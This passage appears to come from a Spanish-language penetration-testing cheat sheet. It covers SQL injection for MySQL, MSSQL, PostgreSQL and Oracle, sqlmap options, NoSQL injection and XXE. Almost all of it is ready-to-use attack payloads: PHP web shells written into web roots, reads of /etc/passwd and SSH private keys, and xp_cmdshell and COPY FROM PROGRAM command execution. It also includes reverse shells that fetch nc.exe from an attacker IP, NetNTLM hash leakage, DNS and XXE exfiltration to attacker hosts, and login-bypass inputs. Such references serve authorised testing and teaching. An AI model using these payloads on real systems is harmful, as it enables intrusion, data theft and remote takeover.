SELECT variable_name, variable_value FROM information_schema.global_variables WHERE variable_name="secure_file_priv"
UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables WHERE variable_name="secure_file_priv"-- -
```

### Lectura <a href="#lectura-de-archivos" id="lectura-de-archivos"></a>

```sql
SELECT LOAD_FILE('/etc/passwd')
UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3, 4-- -
UNION SELECT 1, LOAD_FILE('/var/www/html/index.php'), 3, 4-- -
```

### Escritura <a href="#escritura-de-archivos" id="escritura-de-archivos"></a>

Escritura de archivos.

```sql
SELECT * FROM <table> INTO OUTFILE '/tmp/file'
SELECT 'test' INTO OUTFILE '/tmp/test.txt'
UNION SELECT 1,'test',3,4 INTO OUTFILE '/var/www/html/test.txt'-- -
```

Escritura de web shell.

{% code title="webshell.php" %}

```php
<?php echo system($_GET['cmd']); ?>
```

{% endcode %}

```sql
UNION SELECT "","<?php echo system($_GET['cmd']); ?>","","" INTO OUTFILE '/var/www/html/webshell.php'-- -
```


# Microsoft SQL Server

## Enumeración <a href="#enumeracion" id="enumeracion"></a>

### Versión <a href="#enumeracion-version" id="enumeracion-version"></a>

```sql
# Versión
SELECT @@version
```

### Usuarios <a href="#enumeracion-usuarios" id="enumeracion-usuarios"></a>

```sql
# Usuario actual
SELECT system_user
```

### Bases de datos <a href="#enumeracion-bases-de-datos" id="enumeracion-bases-de-datos"></a>

```sql
# Listado de base de datos
SELECT name FROM sys.databases
```

### Tablas <a href="#enumeracion-tablas" id="enumeracion-tablas"></a>

```sql
# Tablas de una base de datos
SELECT table_catalog,table_schema,table_name,table_type FROM <database>.information_schema.tables
```

### Columnas <a href="#enumeracion-columnas" id="enumeracion-columnas"></a>

```sql
# Columnas de una tabla
SELECT column_name,data_type FROM <database>.information_schema.columns WHERE table_name='<table>'
```

### Datos <a href="#enumeracion-datos" id="enumeracion-datos"></a>

```sql
# Datos de una tabla
SELECT * FROM <database>.<schema>.<table>
SELECT * FROM <database>.dbo.<table>
```

## Error-based SQLi <a href="#error-based-sqli" id="error-based-sqli"></a>

```sql
cast(@@version as integer)
cast(@@servername as integer)
cast(db_name() as integer)
convert(int,(@@version))
convert(int,(@@servername))
convert(int,(db_name()))
```

### Bases de datos <a href="#error-based-sqli-bases-de-datos" id="error-based-sqli-bases-de-datos"></a>

```sql
cast((SELECT TOP 1 name FROM sys.databases) as integer)--
cast((SELECT TOP 1 name FROM sys.databases WHERE name NOT IN ('<database>')) as integer)--
```

### Tablas <a href="#error-based-sqli-tablas" id="error-based-sqli-tablas"></a>

```sql
cast((SELECT TOP 1 table_name FROM <database>.information_schema.tables) as integer)--
cast((SELECT TOP 1 table_name FROM <database>.information_schema.tables WHERE table_name NOT IN ('<table>')) as integer)--

# Esquema de tabla
cast((SELECT TOP 1 table_schema FROM <database>.information_schema.tables WHERE table_name='<table>') as integer)--
```

### Columnas <a href="#error-based-sqli-columnas" id="error-based-sqli-columnas"></a>

```sql
cast((SELECT TOP 1 column_name FROM <database>.information_schema.columns WHERE table_name='<table>') as integer)--
cast((SELECT TOP 1 column_name FROM <database>.information_schema.columns WHERE table_name='<table>' AND column_name NOT IN ('<column>')) as integer)--
```

### Datos <a href="#error-based-sqli-datos" id="error-based-sqli-datos"></a>

```sql
cast((SELECT <column> FROM <database>.<schema>.<table>) as integer)--
cast((SELECT <column> FROM <database>.dbo.<table>) as integer)--
cast((SELECT CONCAT(columna1, ' - ', columna2, ' - ', columna3) FROM <database>.<schema>.<table>) as integer)--
```

## Union-based SQLi <a href="#union-based-sqli" id="union-based-sqli"></a>

### Obtener información dentro de una sola columna <a href="#union-based-sqli-obtener-informacion-dentro-de-una-sola-columna" id="union-based-sqli-obtener-informacion-dentro-de-una-sola-columna"></a>

```sql
UNION SELECT CONCAT(columna1, ' - ', columna2, ' - ', columna3) FROM tabla1--
```

## Boolean-based SQLi

```sql
' AND 1=1--
```

## Time-based SQLi

```sql
WAITFOR DELAY '0:0:10'
'; IF (1=1) WAITFOR DELAY '0:0:10'--
```

## Stacked Queries SQLi <a href="#stacked-queries-sqli" id="stacked-queries-sqli"></a>

```sql
;SELECT @@version
;SELECT * FROM <table>
;INSERT INTO <table> (column1, column2, column3) VALUES (value1, value2, value3)
```

## Out-of-band DNS

{% hint style="info" %}

* El largo máximo para un nombre de subdominio es 63 caracteres.
* El largo máximo para el nombre de dominio completo, incluyendo todos los subdominios y el dominio principal, no puede exceder los 253 caracteres en total.
  {% endhint %}

```sql
# master..xp_dirtree
DECLARE @Q varchar(1024);SELECT @Q=(SELECT 1234);EXEC('master..xp_dirtree "\\'+@Q+'.<domain-name>\\x"');--

# master..xp_fileexist
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);EXEC('master..xp_fileexist "\\'+@Q+'.<domain-name>\\x"');--

# master..xp_subdirs
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);EXEC('master..xp_subdirs "\\'+@Q+'.<domain-name>\\x"');--
DECLARE @Q VARCHAR(MAX);DECLARE @A VARCHAR(63);DECLARE @B VARCHAR(63);SELECT TOP 1 @Q=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), <column>), 1) FROM <table>;SELECT @A=SUBSTRING(@Q,3,63);SELECT @B=SUBSTRING(@Q,3+63,63);EXEC('master..xp_subdirs "\\'+@A+'.<domain-name>\x"');EXEC('master..xp_subdirs "\\'+@B+'.<domain-name>\x"');--

# sys.dm_os_file_exists
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);SELECT * FROM sys.dm_os_file_exists('\\'+@Q+'.<domain-name>\x');--

# fn_trace_gettable
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);SELECT * FROM fn_trace_gettable('\\'+@Q+'.<domain-name>\x.trc',DEFAULT);--
DECLARE @Q VARCHAR(MAX); DECLARE @A VARCHAR(63); DECLARE @B VARCHAR(63); SELECT TOP 1 @Q=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), <column>), 1) FROM <table>; SELECT @A=SUBSTRING(@Q,3,63); SELECT @B=SUBSTRING(@Q,3+63,63); SELECT * FROM fn_trace_gettable('\\'+@A+'.'+@B+'.<domain-name>\x.trc',DEFAULT);--

# fn_get_audit_file
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);SELECT * FROM fn_get_audit_file('\\'+@Q+'.<domain-name>\',DEFAULT,DEFAULT);--
DECLARE @Q VARCHAR(MAX); DECLARE @A VARCHAR(63); DECLARE @B VARCHAR(63); SELECT TOP 1 @Q=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), <column>), 1) FROM <table>; SELECT @A=SUBSTRING(@Q,3,63); SELECT @B=SUBSTRING(@Q,3+63,63); SELECT * FROM fn_get_audit_file('\\'+@A+'.'+@B+'.<domain-name>\',DEFAULT,DEFAULT);--
```

## Remote Code Execution (RCE)

Verificación de permisos.

```sql
# General
IS_SRVROLEMEMBER('sysadmin');
# Boolean-based SQLi
' AND IS_SRVROLEMEMBER('sysadmin')=1;--
```

Habilitación de "advanced options".

```sql
# General
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

# SQLi
';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;--
```

Habilitación de "xp\_cmdshell".

```sql
# General
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

# SQLi
';EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
```

Ejecución remota de código.

```sql
# General
EXEC xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'whoami';

# Blind
EXEC xp_cmdshell 'ping /n 4 <attacker-IP-address>';
';EXEC xp_cmdshell 'ping /n 4 <attacker-IP-address>';--
## máquina atacante
sudo tcpdump -i <network-interface> icmp
```

### Reverse shell

Habilitación de servidor HTTP para compartir el archivo `nc.exe`.

```sh
python3 -m http.server <port>
```

Generación de payload.

```sh
python3 -c 'import base64; print(base64.b64encode((r"""(new-object net.webclient).downloadfile("http://<attacker-IP-address>/nc.exe", "c:\windows\tasks\nc.exe"); c:\windows\tasks\nc.exe -nv <attacker-IP-address> <listen-port> -e c:\windows\system32\cmd.exe;""").encode("utf-16-le")).decode())'
```

Ejecución de Netcat en máquina atacante en modo escucha.

```sh
nc -lvnp <listen-port>
```

Ejecución de reverse shell.

```sql
EXEC xp_cmdshell 'powershell -exec bypass -enc <payload>'
';EXEC xp_cmdshell 'powershell -exec bypass -enc <payload>';--
```

## Filtración de hashes NetNTLM

Ejecución de Responder en máquina atacante.

```sh
responder -I <interface>
```

Filtración de hashes NetNTLM.

```sql
# General
EXEC master..xp_dirtree '\\<attacker-IP-address>\myshare', 1, 1;

# SQLi
';EXEC master..xp_dirtree '\\<attacker-IP-address>\myshare', 1, 1;--
```

Cracking de hashes.

```sh
hashcat -m 5600 -a 0 hash.txt <path-wordlist>
```

## Lectura de archivos

Verificación de permisos.

```sql
# General
SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name = 'ADMINISTER BULK OPERATIONS' OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS';

# Boolean-based SQLi
' AND (SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name = 'ADMINISTER BULK OPERATIONS' OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS')>0;--
```

Longitud de un archivo.

```sql
SELECT LEN(BulkColumn) FROM OPENROWSET(BULK 'C:\\Windows\\win.ini', SINGLE_CLOB) AS x
```

Lectura de archivo.

```sql
# General
SELECT BulkColumn FROM OPENROWSET(BULK 'C:\\Windows\\win.ini', SINGLE_CLOB) AS x

# Error-based SQLi
' AND 1=CAST((SELECT TOP 1 BulkColumn FROM OPENROWSET(BULK 'C:\\Windows\\win.ini', SINGLE_CLOB) AS x) AS INTEGER)--
```


# PostgreSQL

## Enumeración <a href="#enumeracion" id="enumeracion"></a>

### Versión <a href="#enumeracion-version" id="enumeracion-version"></a>

```sql
# Versión
SELECT version()
```

### Usuarios <a href="#enumeracion-usuarios" id="enumeracion-usuarios"></a>

```sql
# Usuario actual
SELECT current_user
```

### Privilegios <a href="#enumeracion-privilegios" id="enumeracion-privilegios"></a>

```sql
# Privilegio de superusuario
SELECT current_setting('is_superuser')
```

### Bases de datos <a href="#enumeracion-bases-de-datos" id="enumeracion-bases-de-datos"></a>

```sql
# Listado de base de datos
SELECT datname FROM pg_database
```

### Tablas <a href="#enumeracion-tablas" id="enumeracion-tablas"></a>

```sql
# Tablas de una base de datos
SELECT table_name FROM <database>.information_schema.tables WHERE table_schema='public'
```

### Columnas <a href="#enumeracion-columnas" id="enumeracion-columnas"></a>

```sql
# Columnas de una tabla
SELECT column_name,data_type FROM <database>.information_schema.columns WHERE table_name='<table>'
```

### Datos <a href="#enumeracion-datos" id="enumeracion-datos"></a>

```sql
# Datos de una tabla
SELECT * FROM <table>
SELECT * FROM <database>.<schema>.<table>
```

## Error-based SQLi <a href="#error-based-sqli" id="error-based-sqli"></a>

```sql
# Versión
CAST(version() AS INT)
' AND 1=(SELECT CAST(version() AS INT))
```

```sql
# Listado de base de datos
CAST((SELECT STRING_AGG(datname,',') FROM pg_database LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(datname,',') FROM pg_database LIMIT 1) AS INT)
```

```sql
# Tablas de una base de datos
CAST((SELECT STRING_AGG(table_name,',') FROM <database>.information_schema.tables WHERE table_schema='public' LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(table_name,',') FROM <database>.information_schema.tables WHERE table_schema='public' LIMIT 1) AS INT)
```

```sql
# Columnas de una tabla
CAST((SELECT STRING_AGG(column_name,',') FROM <database>.information_schema.columns WHERE table_name='<table>' LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(column_name,',') FROM <database>.information_schema.columns WHERE table_name='<table>' LIMIT 1) AS INT)
```

```sql
# Datos de una table (Error-based SQLi + Stacked Queries SQLi)
';SELECT CAST(CAST(QUERY_TO_XML('SELECT * FROM <table> LIMIT 3',TRUE,TRUE,'') AS TEXT) AS INT)
```

## Union-based SQLi <a href="#union-based-sqli" id="union-based-sqli"></a>

### Obtener información dentro de una sola columna <a href="#union-based-sqli-obtener-informacion-dentro-de-una-sola-columna" id="union-based-sqli-obtener-informacion-dentro-de-una-sola-columna"></a>

```sql
UNION SELECT columna1 || ' - ' || columna2 || ' - ' || columna3 FROM tabla1-- -
```

## Time-based SQLi

```sql
|| (SELECT 1 FROM PG_SLEEP(10))
```

## Stacked Queries SQLi <a href="#stacked-queries-sqli" id="stacked-queries-sqli"></a>

```sql
;SELECT version()
;SELECT * FROM <table>
;INSERT INTO <table> (column1, column2, column3) VALUES (value1, value2, value3)
```

## Lectura y escritura de archivos

Para realizar operaciones de lectura y escritura de archivos mediante el comando `COPY`, el usuario debe contar con privilegios de superusuario o, alternativamente, poseer los roles `pg_read_server_files` y `pg_write_server_files`, respectivamente.

```sql
# Privilegio de superusuario
SELECT current_setting('is_superuser')

# Roles pg_read_server_files / pg_write_server_files
SELECT r.rolname, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) AS memberof FROM pg_catalog.pg_roles r WHERE r.rolname='fileuser';
```

### Lectura <a href="#lectura-de-archivos" id="lectura-de-archivos"></a>

```sql
SELECT pg_read_file('/etc/passwd')
```

```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;
SELECT * FROM tmp LIMIT 3;
DROP TABLE tmp;
```

Un inconveniente al usar el comando `COPY` para leer archivos es que espera que los datos estén separados por columnas, usando por defecto el carácter de tabulación `\t` como delimitador. Sin embargo, se puede cambiar este delimitador por otro carácter poco común, como `\x07`, para evitar errores durante la lectura.

```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/hosts' DELIMITER E'\x07';
SELECT * FROM tmp;
SELECT * FROM tmp LIMIT 3;
DROP TABLE tmp;
```

#### Lectura con Large Objects

```sql
# Carga de archivo
SELECT lo_import('/etc/passwd');

# Obtener todos los object IDs
SELECT DISTINCT loid FROM pg_largeobject;

# Lectura de archivo
## Opción 1
SELECT lo_get(<object-id>);
## Opción 2
SELECT data FROM pg_largeobject WHERE loid=<object-id> AND pageno=0;
SELECT data FROM pg_largeobject WHERE loid=<object-id> AND pageno=1;
## Conversión de hexadecimal
echo <hexadecimal> | xxd -r -p
```

### Escritura <a href="#escritura-de-archivos" id="escritura-de-archivos"></a>

```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/passwd';
COPY tmp (data) TO '/var/tmp/temp.txt';
DROP TABLE tmp;
```

#### Webshell <a href="#escritura-de-archivos-webshell" id="escritura-de-archivos-webshell"></a>

```sql
CREATE TABLE tmp(data TEXT);
INSERT INTO tmp(data) VALUES ('<?php echo system($_GET["cmd"]); ?>');
COPY tmp(data) TO '/var/www/html/webshell.php';
```

#### Escritura con Large Objects

```bash
split -b 2048 /etc/passwd
xxd -ps -c 9999999999 xaa
xxd -ps -c 9999999999 xab
```

```sql
SELECT lo_create(1337);
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 0, DECODE('<hexadecimal>','HEX'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 1, DECODE('<hexadecimal>','HEX'));
SELECT lo_export(1337, '/tmp/passwd');
SELECT lo_unlink(1337);
cat /tmp/passwd
```

## Remote Code Execution (RCE)

Para usar COPY con ejecución de comandos, el usuario debe contar con privilegios de superusuario o tener el rol `pg_execute_server_program`.

```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM PROGRAM 'id';
SELECT * FROM tmp;
DROP TABLE tmp;
```

### Reverse shell

Ejecución de Netcat en máquina atacante en modo escucha.

```sh
nc -lvnp <listen-port>
```

Ejecución de reverse shell.

```sql
;CREATE TABLE revshell(data TEXT); COPY revshell FROM PROGRAM 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-IP-address> <listen-port> >/tmp/f';SELECT * FROM revshell; DROP TABLE revshell;-- -
```

## Evasión de filtros

### Bypass de filtro de espacio

Usar `/**/` en lugar de espacio.

```sql
' AND 1=1-- -
'/**/AND/**/1=1-- -
```

### Bypass de filtro de comillas simples (single quotes)

En PostgreSQL los dos signos de dólar `$$` se utilizan para delimitar cadenas de texto.

```sql
' UNION SELECT '1','2','3'-- -
' UNION SELECT $$1$$,$$2$$,$$3$$-- -
```


# Oracle

## Enumeración <a href="#enumeracion" id="enumeracion"></a>

### Versión <a href="#enumeracion-version" id="enumeracion-version"></a>

```sql
# Versión
SELECT * FROM v$version
```

### Usuarios <a href="#enumeracion-usuarios" id="enumeracion-usuarios"></a>

```sql
# Usuario actual
SELECT user FROM dual
```

### Esquemas <a href="#enumeracion-esquemas" id="enumeracion-esquemas"></a>

```sql
# Listado de esquemas
SELECT owner FROM all_tables GROUP BY owner
```

### Tablas <a href="#enumeracion-tablas" id="enumeracion-tablas"></a>

```sql
# Tablas de un esquema
SELECT table_name FROM all_tables where owner='<schema>' ORDER BY table_name
```

### Columnas <a href="#enumeracion-columnas" id="enumeracion-columnas"></a>

```sql
# Columnas de una tabla
SELECT column_name, data_type FROM all_tab_columns WHERE table_name='<table>'
```

### Datos <a href="#enumeracion-datos" id="enumeracion-datos"></a>

```sql
# Datos de una tabla
SELECT * FROM sys.<table>
SELECT * FROM <schema>.<table>
```

## Error-based SQLi <a href="#error-based-sqli" id="error-based-sqli"></a>

```sql
to_char(dbms_xmlgen.getxml('select "'|| (select substr(banner,0,25) from v$version where rownum=1)||'" from sys.dual'))
```

## Union-based SQLi <a href="#union-based-sqli" id="union-based-sqli"></a>

### Obtener información dentro de una sola columna <a href="#union-based-sqli-obtener-informacion-dentro-de-una-sola-columna" id="union-based-sqli-obtener-informacion-dentro-de-una-sola-columna"></a>

```sql
UNION SELECT columna1 || ' - ' || columna2 || ' - ' || columna3 FROM tabla1-- -
```

## Time-based SQLi

```sql
AND 1234=DBMS_PIPE.RECEIVE_MESSAGE('RaNdStR',10)
```


# sqlmap

## General

```sh
# Ejecución de sqlmap general desde request guardado en archivo
sqlmap -r request.txt --level=5 --risk=3 --random-agent --threads=10 --batch --flush-session --hostname
```

## Parámetros principales <a href="#parametros-generales" id="parametros-generales"></a>

```sh
-u "<URL>" 
--user-agent='<user-agent>'
--cookie='<cookie>'
--header='<header>'
--level=<1-5> # default 1
--risk=<1-3> # default 1
--technique=<technique> # default "BEUSTQ"
--skip-waf # omitir prueba heurística de WAF
--batch # no espera respuesta del usuario, utiliza comportamiento por defecto
--flush-session # limpia sesión
--threads=10
--dump-all --exclude-sysdbs # obtener la información de todas las bases de datos
```

* \--technique = técnica.
  * B = Boolean-based blind SQLi.
  * E = Error-based SQLi.
  * U = Union-based SQLi.
  * S = Stacked queries SQLi.
  * T = Time-based blind SQLi.
  * Q = Inline queries SQLi.

## Manejo de errores <a href="#manejo-de-errores" id="manejo-de-errores"></a>

```sh
# Mostrar mensajes de error de DBMS
--parse-errors

# Almacenar todo el tráfico en un archivo de texto
-t /tmp/sqlmap-traffic.txt

# Nivel de detalle de los mensajes de salida
-v <0-6>so
```

## Enumeración general <a href="#enumeracion-general" id="enumeracion-general"></a>

```sh
--hostname
--banner
--current-db
--current-user
--is-dba
--users
--privileges
--roles
--passwords
```

## Enumeración de base de datos <a href="#enumeracion-de-base-de-datos" id="enumeracion-de-base-de-datos"></a>

```sh
# Obtener estructura completa del DBMS
--schema

# Buscar tablas por nombre
--search -T <table-name>
--search -T user
 
# Buscar columnas por nombre
--search -C <column-name>
--search -C pass

# Proceso completo de enumeración
--all --batch
```

## **Bypass de protecciones** <a href="#bypass-de-protecciones" id="bypass-de-protecciones"></a>

```sh
# Bypass de lista negra de HTTP User-Agent
--random-agent

# Bypass de token anti-CSRF
--csrf-token="<token-parameter-name>"

# Bypass de valor único
--randomize=<parameter-name>

# Bypass de parámetro calculado
--eval="<python-code>"
--eval="import hashlib;id2=hashlib.md5(id).hexdigest()"

# Ocultar dirección IP
--proxy
--proxy-file
--tor
--check-tor

# Manipulación y ofuscación de payloads
--tamper="<script>"

# Transferencia fragmentada
--chunked

# HTTP parameter pollution (HPP)
--hpp
```

## **DataBase Management System** (**DBMS**) <a href="#database-management-system-dbms" id="database-management-system-dbms"></a>

```sh
sqlmap -u "http://<target>/" --dbms=<dbms>
```

* -u = URL.
  * \<target> = objetivo.
* \--dbms = DataBase Management System, por ejemplo: `mysql`, `mssql`, `postgresql`, `oracle`, `ibmdb2`, etc.

## GET request <a href="#get-request" id="get-request"></a>

```sh
sqlmap -u "http://<target>/param1=value1&param2=value2" --method GET
sqlmap -u "http://<target>/param1=value1&param2=value2" --method GET -p "<param1>,<param2>"
```

* -u = URL.
  * \<target> = objetivo.
* -p = parámetros a revisar.

## POST request <a href="#post-request" id="post-request"></a>

```sh
sqlmap -u "http://<target>/" --method POST --data "param1=value1&param2=value2"
sqlmap -u "http://<target>/" --method POST --data "param1=value1&param2=value2" -p "<param1>,<param2>"
```

* -u = URL.
  * \<target> = objetivo.
* \--data = información del POST request.
* -p = parámetros a revisar.

## Request desde archivo <a href="#request-desde-archivo" id="request-desde-archivo"></a>

```sh
sqlmap -r <request.txt> -p <param>
sqlmap -r <request.txt> --header="<header1>: <value1>*" --header="<header2>: <value2>*" --header="<header3>: <value3>*"
```

* -r = archivo de request.
  * \<request.txt> = archivo con request.
* -p = parámetro.
  * \<param> = parámetro vulnerable.
* \--header = HTTP header.
  * \<header1> = nombre de HTTP header vulnerable.
  * \<value1> = valor de HTTP header vulnerable.

## Listar bases de datos <a href="#listar-bases-de-datos" id="listar-bases-de-datos"></a>

```sh
sqlmap -u "http://<target>/" --dbs
```

* -u = URL.
  * \<target> = objetivo.
* \--dbs = listar bases de datos.

## Listar tablas de base de datos <a href="#listar-tablas-de-base-de-datos" id="listar-tablas-de-base-de-datos"></a>

```sh
sqlmap -u "http://<target>/" -D <database> --tables
```

* -u = URL
  * \<target> = objetivo.
* -D = base de datos.
  * \<database> = nombre de base de datos.
* \--tables = listar tablas de base de datos.

## Listar columnas de tabla <a href="#listar-columnas-de-tabla" id="listar-columnas-de-tabla"></a>

```sh
sqlmap -u "http://<target>/" -D <database> -T <table> --columns
```

* -u = URL
  * \<target> = objetivo.
* -D = base de datos.
  * \<database> = nombre de base de datos.
* -T = tabla.
  * \<table> = nombre de tabla.
* \--columns = listar columnas de tabla.

## Obtener información de tabla <a href="#obtener-informacion-de-tabla" id="obtener-informacion-de-tabla"></a>

```sh
sqlmap -u "http://<target>/" -D <database> -T <table> --dump
```

* -u = URL
  * \<target> = objetivo.
* -D = base de datos.
  * \<database> = nombre de base de datos.
* -T = tabla.
  * \<table> = nombre de tabla.
* \--dump = obtener información de tabla.
* \--dump-format = formato de exportación de datos obtenidos.
  * CSV (por defecto).
  * HTML.
  * SQLite.

## Filtrar obtención de información de tabla <a href="#filtrar-obtencion-de-informacion-de-tabla" id="filtrar-obtencion-de-informacion-de-tabla"></a>

```sh
--start=<start-row-number> --stop=<end-row-number>
--where="<column-name> LIKE '<initial-characters>%'"
```

## Lectura de archivos <a href="#lectura-de-archivos" id="lectura-de-archivos"></a>

```sh
--file-read "<file>"
--file-read "/etc/passwd"
```

## Escritura de archivos <a href="#escritura-de-archivos" id="escritura-de-archivos"></a>

```sh
--file-write "<file>" --file-dest "/tmp/file"
```

Escritura de web shell.

{% code title="webshell.php" %}

```php
<?php echo system($_GET['cmd']); ?>
```

{% endcode %}

```sh
--file-write "webshell.php" --file-dest "/var/www/html/webshell.php"
```

## Shell <a href="#shell" id="shell"></a>

```sh
# Shell
sqlmap -u "http://<target>/" --os-shell
sqlmap -u "http://<target>/" --os-shell --technique=<technique>
sqlmap -u "http://<target>/" --os-cmd <comando>

# SQL query shell
sqlmap -u "http://<target>/" --sql-shell
sqlmap -u "http://<target>/" --sql-query <query>
```


# NoSQL injection (NoSQLi)

## Authentication bypass

### Query string <a href="#authentication-bypass-query-string" id="authentication-bypass-query-string"></a>

```sh
username[$ne]=noexiste&password[$ne]=noexiste
username[$regex]=.*&password[$regex]=.*
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=
username[$nin][]=noexiste&password[$nin][]=noexiste
username[$exists]=true&password[$exists]=true
```

* $ne = not equals.
* $regex = match a specified RegEx.
* $gt = greater than.
* $gte = greater than or equal to.
* $nin = not in the specified array.

### JSON <a href="#authentication-bypass-json" id="authentication-bypass-json"></a>

```json
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "noexiste"}, "password": {"$ne": "noexiste"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```

* $ne = not equals.
* $gt = greater than.

### Server-Side JavaScript Injection (SSJI) <a href="#authentication-bypass-server-side-javascript-injection-ssji" id="authentication-bypass-server-side-javascript-injection-ssji"></a>

```javascript
" || true || ""=="
' || true || ''=='
" && (sleep(5000)) || ""=="
' && (sleep(5000)) || ''=='
```

## Data exfiltration

```sh
param[$ne]=noexiste
param[$regex]=.*
param[$gt]=''
param[$gte]=''
param[$lt]='~'
param[$lte]='~'
```

### Blind <a href="#data-exfiltration-blind" id="data-exfiltration-blind"></a>

```sh
# query string
param[$regex]=^XYZ.*$
# JSON
{"param":{"$regex":"^XYZ.*$"}}
```

### Server-Side JavaScript Injection (SSJI) <a href="#data-exfiltration-side-javascript-injection-ssji" id="data-exfiltration-side-javascript-injection-ssji"></a>

```javascript
" || (this.param.match('^XYZ.*')) || ""=="
" || (this.param.match('^XYZ.*')) && (sleep(5000)) || ""=="
```

## Wordlists

* <https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Databases/NoSQL.txt>


# XML external entity (XXE) injection

## Identificación XXE

### General <a href="#identificacion-xxe-general" id="identificacion-xxe-general"></a>

{% tabs %}
{% tab title="Request original" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <name>MrW0l05zyn</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>
```

{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Request modificado" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe "XXE PoC">]>
<root>
    <name>&xxe;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>
```

{% endtab %}
{% endtabs %}

### Out-of-band (OOB) <a href="#identificacion-xxe-out-of-band-oob" id="identificacion-xxe-out-of-band-oob"></a>

Máquina atacante.

```sh
nc -lvnp <listen-port>
```

{% tabs %}
{% tab title="Request modificado" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'http://<attacker-IP-address>:<listen-port>'>]>
<root>
    <name>&xxe;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>
```

{% endtab %}

{% tab title="Request modificado (parameter entities)" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % xxe SYSTEM 'http://<attacker-IP-address>:<listen-port>'>
    %xxe;
]>
<root>
    <name>MrW0l05zyn</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>
```

{% endtab %}
{% endtabs %}

## Lectura de archivos

### Lectura de archivo general

```xml
# Linux/Unix
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/hosts'>]>
<element>&xxe;</element>

# Windows
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///C:/Windows/win.ini'>]>
<element>&xxe;</element>
```

### Lectura de archivo id\_rsa

Lectura de archivo `id_rsa` correspondiente a llave privada de usuario del servicio SSH (Secure SHell).

```xml
# Linux/Unix
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///home/<user>/.ssh/id_rsa'>]>
<element>&xxe;</element>

# Windows
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///C:/Users/<user>/.ssh/id_rsa'>]>
<element>&xxe;</element>
```

### Lectura de archivo PHP

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<file>">]>
<element>&xxe;</element>
```

### Lectura de archivo utilizando CDATA

Creación de archivo DTD (Document Type Definition).

{% code title="xxe.dtd" %}

```sh
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
```

{% endcode %}

Habilitación de servidor HTTP para compartir el archivo `xxe.dtd`.

```sh
python -m SimpleHTTPServer <port>
python3 -m http.server <port>
```

Lectura de archivo.

{% hint style="info" %}
Es posible que no podamos leer algunos archivos (como index.php), ya que el servidor web evitaría un ataque de DOS causado por la autorreferencia de archivo/entidad (es decir, bucle de referencia de entidad XML).
{% endhint %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % begin "<![CDATA[">
    <!ENTITY % file SYSTEM "file:///etc/hosts">
    <!ENTITY % end "]]>">
    <!ENTITY % xxe SYSTEM "http://<attacker-IP-address>/xxe.dtd">
    %xxe;
]>
<root>
    <name>&joined;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>
```

### Lectura de archivo basado en error

Creación de archivo DTD (Document Type Definition).

{% code title="xxe.dtd" %}

```xml
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY &#37; exfil SYSTEM '%EntidadNoExistente;/%file;'>">
%error;
%exfil;
```

{% endcode %}

Habilitación de servidor HTTP para compartir el archivo `xxe.dtd`.

```sh
